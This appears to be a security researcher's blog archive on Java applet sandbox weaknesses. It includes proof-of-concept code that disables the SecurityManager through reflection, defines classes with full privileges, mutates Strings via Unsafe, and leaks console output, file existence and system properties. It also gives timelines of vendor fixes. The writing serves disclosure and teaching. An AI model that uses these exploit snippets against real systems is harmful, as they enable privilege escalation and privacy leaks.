Showing posts with label applets. Show all posts
Showing posts with label applets. Show all posts

Saturday, February 27, 2010

Java SE Security - Part III (Keys)

This part is titled "Keys". The intention is to list the key items that must remain elusive to the attacker in order for the JVM to remain unharmed. Compromising any of these will probably give the attacker full privileges. I'll also show, at least in theory, how each of them could be used for this.

The Security Manager


The Security Manager is at the very core of the Java Security Model. It essentially decides whether any given operation is allowed or not. While the JVM is running, the "current" or "installed" Security Manager is defined by the static java.lang.System.security field. The type of the field is java.lang.SecurityManager which is a concrete, non-final class, so the SecurityManager is either an instance of that class, or a subclass. A null value in the field is interpreted as security being turned off, thus: if that field can be set to null, security will be turned off.

The field is private, though, so one can’t just waltz in and try to set it to null.

There's a public static method for defining a new Security Manager:
System.setSecurityManager(SecurityManager)
If that method is called with a null parameter, the underlying field will be set to null and security will be turned off. In order for that call to succeed though, the current Security Manager is consulted to see if the caller has the setSecurityManager RunTime permission. Thus, possessing the setSecurityManager permission effectively gives code full privileges.

It would not be necessary to set a null SecurityManager to defy security. If the attacker can define his own SecurityManager and set it as the current SecurityManager, he can allow all operations and elevate his privileges. Aside from accessing the System class, a Security Manager class can be defined with the JVM startup argument
-Djava.security.manager=EvilUnsecureManager

Also, compromising the (class) definition of the SecurityManager class or that of any of its subclasses would probably give the attacker full control. More about compromising class definitions in a later item.

ClassLoader

The ClassLoader is responsible for loading class definitions. It also ultimately controls the privileges of each class that's being loaded. The ClassLoader.defineClass(...) methods have the access modifier protected, so only subclasses can access them. If you can create a valid subclass of the ClassLoader, you can call the protected methods and define classes with full privileges. This is essentially how CVE-2008-5353 leverages the privileged deserialization.
An example of how to define a new class with full privileges when you have access to the defineClass method:

byte[] evilBytecode = …
AllPermission allPerm = new AllPermission();
PermissionCollection allPermissions = allPerm.newPermissionCollection();
allPermissions.add(allPerm);
Class cls = defineClass(null, evilBytecode, 0,
evilBytecode.length, new ProtectionDomain(null, allPermissions));
cls.newInstance();

Java access modifiers

The Java access modifiers (private/protected/"default"/public) for classes, fields and methods are probably the one single most important thing keeping the whole security together. I've personally used protected and default very little in code I've written for any normal project. However, the security architecture heavily relies on them.

A lot of things are kept inaccessible for an attacker by marking methods, fields and classes with the default access modifier. It means that only the classes from the same package can access those items. Same package here refers to same package within the same classloader. Thus, it doesn't aid the attacker to define his applet class to be in the same package as some trusted Sun class, because the packages are classloader specific - if your class in package abc was defined in a different classloader than another class in package abc, it is effectively in a different package as far as access control goes.

If the attacker gained access to private members, it would be possible to set null to java.lang.System.security and disable Java security.

If the attacker gained access to protected members, it would be possible to call defineClass on the default applet ClassLoader and define classes with full privileges.

If the attacker gained access to default members, there'd be a lot of members in any number of classes that could be accessed to gain full privileges. There are almost 40 different versions of a package-private class SecuritySupport (or SecuritySupport12) that does privileged file reading, property access, URL access and so on.

Reflection may be used to circumvent some of the access control restrictions. More about reflection in its own item.

The final keyword

As I discussed in a previous post, "final" has very distinct functions when used in conjunction with classes, methods and fields.

If the final modifier of a class could be overridden, in other words, if the attacker managed to subclass a final class, he might subclass java.lang.String and create his own mutable Strings. More about String immutability in its own item.

Overriding final methods and modifying the value of final field could also possibly be abused, but I have no concrete examples of those cases.

Type system integrity

Yet another crucial part of the security architecture is the Java type system integrity. If the attacker can pass his own Foo class where a String class is expected he can probably create the effect of mutable Strings.

Or reversely, if the attacker is able to put a Java system class in a variable whose type is Bar (a user controlled class), he can probably gain access to private members.

Reflection

Java Reflection API gives dynamic access to classes, fields and methods. If one is able to call setAccessible(true) on Field and Method objects, Java access control can be somewhat bypassed. If you call setAccessible(true) on an otherwise inaccessible field or method (private/protected/default) you gain access to it. Example:

Field security = System.class.getDeclaredField("security");
security.setAccessible(true);
security.set(null, null);

However, many of the Reflection API calls require privileges and if a Security Manager is installed the attacker won't get far. To successfully run the above example, one would need to possess the accessDeclaredMembers and suppressAccessChecks privileges.

If the attacker succeeds in obtaining a Field object for java.lang.System.security and calling setAccessible(true) on it, he can turn off Java security by calling field.set(null, null).

Privileged Deserialization

Privileged Deserialization can be leveraged by the attacker in (possibly) many ways, probably the simplest being the creation of a custom Serializable ClassLoader which can then be used to define classes with full privileges. This was at the core of CVE-2008-5353.

A privileged block which does deserialization from a stream which can be manipulated by the attacker can probably be leveraged in other ways, too, since the serialization/deserialization protocol is quite complex and flexible.

SecurityManager protected packages (sun., com.sun.deploy., etc)

These packages have a more relaxed security. The security manager and applet ClassLoader do not allow applets to access these packages directly. If the attacker was able to access them, there'd probably be several ways to leverage it. It seems to me that currently it is not allowed to reference the following packages:
com.sun.deploy.*
com.sun.imageio.*
com.sun.javaws.*
com.sun.jnlp.*
com.sun.xml.internal.bind.*
com.sun.xml.internal.ws.*
sun.*

System Properties

The System Properties (System.getProperties()) contain a lot of influential stuff. If an attacker was able to manipulate the System Properties he could probably elevate his privileges.

System.getProperties(), despite of the name which suggest read access, returns a reference to the internal Properties object, so any modification to this object will alter the system properties.

Read access to the properties has the implication of privacy. The attacker can find out the logged on username and several system paths:
java.class.path = C:\PROGRAM~1\Java\jre6\classes
java.endorsed.dirs = C:\Program Files\Java\jre6\lib\endorsed
java.ext.dirs = C:\Program Files\Java\jre6\lib\ext;C:\WINDOWS\Sun\Java\lib\ext
java.home = C:\Program Files\Java\jre6
java.io.tmpdir = C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\
java.library.path = ...
sun.boot.library.path = C:\Program Files\Java\jre6\bin
user.dir = …
user.home = C:\Documents and Settings\Administrator
user.name = Administrator

There are known cases where for example being able to alter the java.ext.dirs lead to a vulnerability. I imagine this type of an attack only works if you can provide the property at JVM startup.

sun.misc.Unsafe

Unsafe is in a sun. package and therefore inaccessible to applets. It also has a private constructor, and the singleton getter method checks that the caller's classloader is null (system class) before handing out the object, so one could say it is very well guarded. And for a reason, since it truly is the Chuck Norris of Java classes.

Unsafe allows direct access to fields and memory. It allows, for example, for you to put an int value into an object field. No security checks and no access control takes place when using Unsafe. So it would be trivial to leverage Unsafe for privilege escalation. I’ll leave the how as a mental exercise for the reader.

Field usf = Unsafe.class.getDeclaredField("theUnsafe");
usf.setAccessible(true);
Unsafe unsafe = (Unsafe) usf.get(null);

Field stringChars = String.class.getDeclaredField("value");
long offset = unsafe.objectFieldOffset(stringChars);
String test = "test";
char[] value = (char[]) unsafe.getObject(test, offset);
value[2] = 'n';
System.out.println(test);


String immutability

String immutability is the basis for many operations. String objects contain a private char array that normally cannot be accessed. Should the attacker be able to access the char array and modify String objects, a lot of things could be broken, probably the security, too.

There is no defensive programming in the core classes against mutable Strings, and for a reason; it’d require a lot of code. A mutable String could thus be used in a timing attack, having a set of contents for verification and another set of contents for the actual operation. String instances are also pooled and reused, so the attacker could probably put his instance on the pool and have it be reused by code that’s inaccessible to him.

doPrivileged

If the attacker can control a trusted doPrivileged block, or code called by it, through means of controlling input, accessed fields, overriding methods, subclassing, deserialization and classloading, etc, the attacker may be able to elevate his privileges.

(Re)defining core classes

If the attacker can compromise the class definitions of not just the most obvious classes (System, ClassLoader, SecurityManager), but any number of menial classes that participate in privileged blocks of code, the attacker could easily elevate his privileges. I'm currently working on a twist of this type of an attack which should lead to a privilege escalation.

Key Permissions

Every class has a set of permissions associated with it. The permissions depend on where the code comes from (CodeSource) and what the java.security defines as the permissions for that source. There are several permissions that, if an attacker can obtain them for his code, will (probably) lead to privilege escalation:

AllPermission: The permission to do anything.

setSecurityManager
: The permission to define a new security manager, set the security manager to null and all code has full permissions.

charsetProvider: Allows for creating mutable strings.

accessDeclaredMembers & suppressAccessChecks: With the combination of these two permissions, you can obtain any field or method, make it accessible and access it (call method, read/write field value). The most straightforward way to leverage this would be to set a null security manager.

Saturday, December 19, 2009

FilePermission class leaks sensitive information

Somebody might consider it ironic that the security class which is responsible mapping access permission to files (java.io.FilePermission) is actually leaking information about the filesystem.

FilePermission uses a doPrivileged block to obtain a canonical path to the file/folder given as a parameter to the constructor. The canonical path is then stored in a private and transient field (called cpath) which has no accessor method.

The canonical path is security-sensitive, because if you give it the input of "." it will become the full (canonical) path to the current execution directory.

Also, in windows, if I give it a path, such as "c:\windows" it becomes "C:\WINDOWS" on my machine, as both the drive letter and windows folder are uppercase. If I give it a path that does not exist, such as "C:\whatever" it does not get altered. Thus I can test the existence of files and folders.

The cpath is not directly accessible, but the FilePermission class has a hashCode method, and the implementation is:

384  public int hashCode() {
385     return this.cpath.hashCode();
386  }


So the hashcode of the String of the canonical path is available. I looked into the possibility of reversing the string hash, but it's not really practical. The simple algorith (which is explained here) is easy to reverse, but as it's extremely lossy, the number of strings that have any given hash is very big.

File or folder existence on Windows can be easily tested by giving a toLowerCase and toUpperCase versions of any path to FilePermission and then comparing the hashcodes. If the hashcodes are equal, the file/folder exists, if they're unequal, it doesn't exist.

For example, on my machine, the following:

001 import java.io.FilePermission;
002 
003 public class FP {
004     public static void main(String[] args) throws Exception {
005         System.out.println(fileExists("C:/windows"));
006         System.out.println(fileExists("C:/filedoesnotexist"));
007     }
008     
009     static boolean fileExists(String name) {
010         return new FilePermission(name.toLowerCase(), "read").hashCode() == new FilePermission(name.toUpperCase(), "read").hashCode();
011     }
012 }


Yields the output:
true
false

In similar fashion, you could compare the hashes of FilePermissions for ".", "..", "../..", "../../.." until the hashcode stops changing, which means you've hit the root (Drive-Letter:\ on windows or / on linux/unix/etc). The depth of the execution folder can thus be determined and it is possible to try to guess each of the folders of the path individually.

It's not a very serious problem at all, but it's one I found to be amusing both for the simplicity of it and the fact that it's in the very class that is used to map access to files.

Tuesday, October 13, 2009

com.sun.corba.se.impl.orbutil.ObjectUtility

Back to security.

Sun's strategy of prioritizing backwards compatibility is something I always appreciated as a developer. Less headaches. Yet, from a security perspective the ensuing "bloatedness" is rather challenging: The attack surface keeps on growing all the time.

So it's not all that surprising to find an applet security problem in an obscure CORBA class buried in the dark depths of the standard libraries.

On the other hand, it's the problems you find in the public java.util, java.io, etc classes that make you really appreciate how very difficult it is to build something secure.

But let's look at one of the aforementioned, obscure CORBA classes today :)

com.sun.corba.se.impl.orbutil.ObjectUtility

It has a problem I found rather interesting, but as far as I could tell, at least in the applet world, it is not exploitable in any serious way. Of course it could be just my lack of ingenuity.

ObjectUtility has two basic functionalities:
-Offer toString functionality to classes that don't implement toString. It recursively lists all the instance field names and their values using reflection and formats the output neatly. I actually use it sometimes as a quick-and-dirty debug to vomiting out object contents. When there is no security manager present it lists all the fields, but with a security manager present it sticks to the public fields (less useful).

-Offer equals functionality to classes that don't implement an equals method. It recursively compares all the instance fields of two objects following somewhat complicated rules.

Let's look at the equals functionality a little bit closer. The logic goes something like this: You give it two objects and it returns true or false depending on perceived equality, with the following details.
-in the case of object fields, recursion is used to compare the two values
-static fields are ignored
-Maps, Sets, Lists and arrays have special handling, where the Collection/array contents are compared individually
-objects x and y of the exact same class (ie. x.getClass() == y.getClass() ) are compared by comparing all the non-static fields individually
-doPrivileged is used to allow access to private fields even with a security manager enabled
-objects x and y of different classes (for example, Object instance and a String instance) are compared by calling equals of the first object, ie. x.equals(y)

Pause for a moment. Absorb the logic. Do you see a problem?

...

This implementation leaks private information. If you compare a malicious object to a sensitive object, in specific cases you can extract references to objects stored in private fields of said sensitive object.

Here's a semi-concrete example. Let's preface it a bit: If you've ever written a Java applet, you'll have noticed that when you use System.out to print some debug information, the output goes to the Java console. How does this happen? The type of System.out is PrintStream. The applet environment sets the System.out as a PrintStream instance which contains contains a Java plugin class TracePrintStream instance, which takes everything written to it and forwards it to be printed in the console.

PrintStream has no method for accessing the inherited (from superclass FilterOutputStream) "out" field, but we can create a new PrintStream and put our own OutputStream inside it. Then compare our PrintStream to System.out. Like this:

001 
002 
003 import java.applet.Applet;
004 
import java.io.IOException;
005 
import java.io.OutputStream;
006 
import java.io.PrintStream;
007 
008 
import com.sun.corba.se.impl.orbutil.ObjectUtility;
009 
010 
public class StealConsole extends Applet {
011 
012     
public void start() {
013         PrintStream syso = System.
out;
014         PrintStream stealer = new PrintStream(new OutputStream() {
015             
016             
public void write(int b) throws IOException {
017             }
018             
019             
020             
public boolean equals(Object obj) {
021                 System.out.println(
"Stole: " + obj.getClass());
022                 
return super.equals(obj);
023             }
024         }, false);
025         
026         
boolean eq = ObjectUtility.equals(stealer, syso);
027     }
028     
029 }

So we can get our hands on the TracePrintStream object contained within the PrintStream. I did a quick PoC using this and a thread which kept polling the buffer of the TracePrintStream and on my other laptop with two processors it worked pretty good, it was an incredible CPU hog, but it intercepted everything written to the console by any applet. So if you'd happen to be running a sensitive applet at the same time in the same browser that printed sensitive data in the console it'd be a bad thing. I guess this turned out to be a rather theoretical example anyway.

Other examples that I've tried this on with success: The Collections class has utility methods which return immutable versions of Lists, Maps and Sets. The way they work is that they keep a copy of the original list hidden away in a private field and the getter methods operate on this list and the setter methods throw exceptions. But comparing these immutable collections to malicious collections it is possible to access the collection contained within and modify it. However I couldn't find anything in the core Java where the security depended on the immutability of these collections.

Wednesday, August 05, 2009

java.net.Proxy and (Im)mutability

Java 6 update 15 fixed some stuff regarding to java.net.Proxy

Quoting:
A security vulnerability in the Java Runtime Environment proxy mechanism implementation may allow an untrusted applet or Java Web Start application to make non-authorized socket or URL connections to hosts other than the origin host.

I'm assuming Sun is referring to something I'd come across a couple months ago myself. I was looking into some things at java.net and came across the Proxy class. The Proxy class javadoc says
A Proxy is an immutable object.

Yet the class is public and non-final. It's methods are non-final, too. If you don't see the problem, go a few posts back to the bit that talks about immutability.

Didn't look at the fix yet, but Proxy was very much mutable and so it was possible to create a Proxy object which uses TOCTOU to connect to a host other than the originating host. The proxy has a method which returns the address and a mutable Proxy can be made to return the originating host to the security check and some other address for the actual connection.

I'd done an ultraquick PoC, but hadn't gotten around to warning Sun (not that they needed my help from the look of it), because I was working on some more interesting things.

Tuesday, August 04, 2009

No Anniversary for JDK13Services

Java 6 update 15 fixes the simplest Java security bug I've found so far. And just before its anniversary (August 18th), so no cake.

It's also the least serious of the bugs so I'm not terribly upset that it took close to a year to fix.

com.sun.media.sound.JDK13Services has a public, static method called getDefaultProviderClass which takes a Class object as a parameter and it returns the system property which corresponds with the full class name. The problem is (was) that you can create your own classes whose names coincide with security sensitive property names, such as user.home, user.name, etc.

The implication is one of privacy.

An example of reading the user.home property and outputting it to System.out in an applet.

001 package user;
002 
003 
public class PropertyThief extends java.applet.Applet {
004 
005     
public void start() {
006         String usrHome = com.sun.media.sound.JDK13Services.getDefaultProviderClassName(user.home.
class);
007         System.out.println(usrHome);
008     }
009 }
010 
011 
class home {}

This'll only work in a pre-update-15 Java. From the quick look into the new rt.jar bytecode, it looks like they're doing a bunch of if's now to limit the properties you can request.

Thursday, July 30, 2009

Java SE Security - Part II (Immutability)

Since I named the first bit as "Part I" in February, I'm long overdue for the second part. The problem is that my hands are tied by the fact that Sun still hasn't fixed a lot of the things I wanted to write about, so I'm short on material.

Immutability (@wikipedia)

Aside from being a software design pattern, immutability plays a big role in security, as well. At least in an environment such as the Java security sandbox. The Sun Secure Coding Guidelines section about input and ouput talks about making immutable copies of inputs and outputs.

Even if you've never put serious thought into this, the importance of immutability quickly becomes obvious.

Steve: Let's say my method takes a (java.util) List of Strings as a parameter, performs some security validation on the list and then performs some privileged action on the list.

001 public class PrivilegedClass {
002
003     
public void processStrings(java.util.List<String> strings) {
004         
for (String str : strings) {
005             
if (!isOk(str)) {
006                 
throw new SecurityException();
007             }
008         }
009
010         
for (String str : strings) {
011             doPrivilegedOperation(str);
012         }
013     }
014
015     
private void doPrivilegedOperation(String str) {
016         
// privileged stuff
017         // code omitted
018     }
019
020     
private boolean isOk(String str) {
021         
// security check for string
022         // code omitted
023         return false;
024     }
025
026 }

Bob: The problem is that java.util.List is in interface and can be implemented in a mutable way. Also virtually all the public List implementations included in Java are mutable, so one wouldn't even have to go through the trouble of creating a mutable version - one could just use java.util.ArrayList.

The problem with the mutability is that an ill intentioned caller of the method could pass a list which contains different values while the method does its validation, and then another set of harmful values for the actual processing after the validation has passed. This could be done via timing, or by crafting one's own List implementation for a more exact attack. If the method uses .iterator() to iterate through the list, the first call to .iterator() (used by validation) could be made to return one set of Strings and the 2nd call to .iterator() (used by the post-validation processing) could be made to return another set of Strings.

It's a well known, generic problem.

Let's look at some ways to protect your method and what could go wrong with them. Forgive the silliness of some of these examples, it's just to give the notion of how easy it is to get it wrong.

Steve: I could change the method signature to only accept a more specialized StevesImmutableList.

003     public void processStrings(StevesImmutableList strings) {

Steve: I'd then define StevesImmutableList as a class whose constructor receives a String array and stores it in a private String array field and only has a getter method which returns the array.

001 package version1;
002
003 
public class StevesImmutableList {
004
005     
private String[] strings;
006
007     public StevesImmutableList(String[] strings) {
008         
this.strings = strings;
009     }
010
011     public String[] getStrings() {
012         
return this.strings;
013     }
014
015 }

Bob: Arrays are always mutable. The size can't be changed, but the contents (given its size is greater than zero) are free game. And your method is returning a reference to its internal array.

Steve: What if I define my private internal array as final?

Bob: That doesn't help. It'll guarantee that your private field always points to the same array, but the array contents are free game.

Steve: Better have the method call .clone() on the array and return a copy of the array instead of the internal array.

001 package version2;
002
003 
public class StevesImmutableList {
004
005     
private String[] strings;
006
007     public StevesImmutableList(String[] strings) {
008         
this.strings = strings;
009     }
010
011     public String[] getStrings() {
012         
return this.strings.clone();
013     }
014
015 }

Bob: Your constructor is receiving an array and storing it as the internal array. A caller with bad intentions could create an array, keep a reference to it, pass it to your object and later on modify it.

Steve: Ok, let's call .clone() on the incoming array as well.

001 package version3;
002
003 
public class StevesImmutableList {
004
005     
private String[] strings;
006
007     public StevesImmutableList(String[] strings) {
008         
this.strings = strings.clone();
009     }
010
011     public String[] getStrings() {
012         
return this.strings.clone();
013     }
014
015 }

Steve: Let's also add an overloaded constructor that receives a List to improve the usability of this class.

001 package version4;
002
003 
public class StevesImmutableList {
004
005     
private String[] strings;
006
007     public StevesImmutableList(java.util.List<String> stringList) {
008         
this.strings = stringList.toArray(new String[stringList.size()]);
009     }
010
011     
public StevesImmutableList(String[] strings) {
012         
this.strings = strings.clone();
013     }
014
015     public String[] getStrings() {
016         
return this.strings.clone();
017     }
018
019 }

Bob: Now you're calling toArray() on a List object that you can't really trust. It could return an array and keep a reference to that array for itself for future modification.

Steve: Ok, let's do a manual conversion of the List to an array.

001 package version5;
002
003 
public class StevesImmutableList {
004
005     
private String[] strings;
006
007     public StevesImmutableList(java.util.List<String> stringList) {
008         
this.strings = new String[stringList.size()];
009         
for (int i = 0; i < stringList.size(); i++) {
010             
this.strings[i] = stringList.get(i);
011         }
012     }
013
014     public StevesImmutableList(String[] strings) {
015         
this.strings = strings.clone();
016     }
017
018     public String[] getStrings() {
019         
return this.strings.clone();
020     }
021
022 }

Steve: It'd also be nice to be able to serialize this object for passing between JVMs and/or storing object state somewhere. So let's make the class implement Serializable.

001 package version6;
002
003 
public final class StevesImmutableList implements java.io.Serializable {
004
005     
private String[] strings;
006
007     public StevesImmutableList(java.util.List<String> stringList) {
008         
this.strings = new String[stringList.size()];
009         
for (int i = 0; i < stringList.size(); i++) {
010             
this.strings[i] = stringList.get(i);
011         }
012     }
013
014     public StevesImmutableList(String[] strings) {
015         
this.strings = strings.clone();
016     }
017
018     public String[] getStrings() {
019         
return this.strings.clone();
020     }
021
022 }

Bob: Serial data can be constructed in such a way that when read, will contain a String array, followed by a StevesImmutableList containing the same String array in the private field, thus making the object mutable.

Steve: Let's make the private field transient and create a readObject method which reads the array from the stream and then clones it before assigning it to the field. Also create a compatible writeObject method.

001 package version7;
002
003 
public final class StevesImmutableList implements java.io.Serializable {
004
005     
private transient String[] strings;
006
007     public StevesImmutableList(java.util.List<String> stringList) {
008         
this.strings = new String[stringList.size()];
009         
for (int i = 0; i < stringList.size(); i++) {
010             
this.strings[i] = stringList.get(i);
011         }
012     }
013
014     public StevesImmutableList(String[] strings) {
015         
this.strings = strings.clone();
016     }
017
018     public String[] getStrings() {
019         
return this.strings.clone();
020     }
021
022     private void readObject(java.io.ObjectInputStream s)
023             
throws java.io.IOException, ClassNotFoundException {
024         String[] streamStrings = (String[]) s.readObject();
025         
this.strings = streamStrings.clone();
026     }
027
028     private void writeObject(java.io.ObjectOutputStream s)
029             
throws java.io.IOException {
030         s.writeObject(
this.strings);
031     }
032 }


Now some examples from core Java classes

java.lang.reflection.Proxy

Proxy has a method (getProxyClass) which takes a ClassLoader and an array of Class objects, that are supposed to be interfaces, as parameters. It performs some validation on the Class array, and then it dynamically defines and returns a new Class for a dynamic Proxy class which implements all the interfaces of the Class array. If the validation fails, the method throws an Exception (and obviously doesn't return anything).

The getProxyClass uses the user-suplied Class array for the validation and later on for the construction of the Proxy class, so it could be called with an array which has one set of classes for the validation and another set of classes for the Proxy construction.

However, the validation here, as far as I can tell, is strictly for usability. Without the validation, if you gave the method an invalid set of parameters it would sometimes fail with some strange class verification exception. With the validation, the caller gets feedback which is more readily understandable.

java.lang.String

Strings are supposed to be immutable. A lot of things depend on the immutability of Strings. There is no defensive programming in the core classes against mutable Strings (which makes sense, because it'd take a lot of work).

The immutability of Strings hinges on the fact that one cannot access the char array in which the String contents are stored. Now, String does leak the internal array to any registered CharSet who wants it. However, registering a CharSet requires a CharSetProvider and that, in turn, requires the charsetProvider permission.

Unsigned applets don't have that permission and can't create their own registered CharSets. But it is something to keep in mind. If you're granting the charsetProvider permission, you're pretty much implicitly giving away full access.

Monday, July 27, 2009

Java security bugs revisited

A couple of weeks back, I heard that Sun's probably releasing new updates at the end of July, so it might be a good time to update my bug fix table.

Let's see if they've gotten around to look at some of these issues, as well. I'm obviously very biased here and think all vulnerabilities I've found are important and should be very promptly fixed, but the anniversaries of some these bugs are already around the corner.

* and counting (calculated as of July 27th, 2009)
** a more generic deserialization issue fixed on March 24th, 2009

Reported Status Fixed Days Open
FileSystemView allows read access to file system structure May 11th, 2008 Fixed Dec 2nd, 2008 204
Read access to System Properties Aug 18th, 2008 Not Fixed N/A 342*
Calendar.readObject allows elevation of privileges Aug 1st, 2008 Fixed Dec 2nd, 2008** 122
Undisclosed vectors allow elevation of privileges Oct 19th, 2008 Not Fixed N/A 280*
Undisclosed vectors allow directory listing and file renaming/moving Oct 26th, 2008 Not Fixed N/A 273*
Generic security architecture problem Nov 2nd, 2008 Not Fixed N/A 266*
Undisclosed vectors allow folder creation Oct 20th 2008 Not Fixed N/A 279*

Sunday, April 12, 2009

Timeline of Sun Microsystems fixing Java security bugs

List of Java applet security related bugs I've reported to Sun, and the number of days between my report and the fix.



* and counting (calculated as of Abril 27th, 2009)
** a more generic deserialization issue fixed on March 24th, 2009

Reported Status Fixed Days Open
FileSystemView allows read access to file system structure May 11th, 2008 Fixed Dec 2nd, 2008 204
Read access to System Properties Aug 18th, 2008 Not Fixed N/A 251*
Calendar.readObject allows elevation of privileges Aug 1st, 2008 Fixed Dec 2nd, 2008** 122
Undisclosed vectors allow elevation of privileges Oct 19th, 2008 Not Fixed N/A 189*
Undisclosed vectors allow directory listing and file renaming/moving Oct 26th, 2008 Not Fixed N/A 182*
Generic security architecture problem Nov 2nd, 2008 Not Fixed N/A 175*
Undisclosed vectors allow folder creation Oct 20th 2008 Not Fixed N/A 188*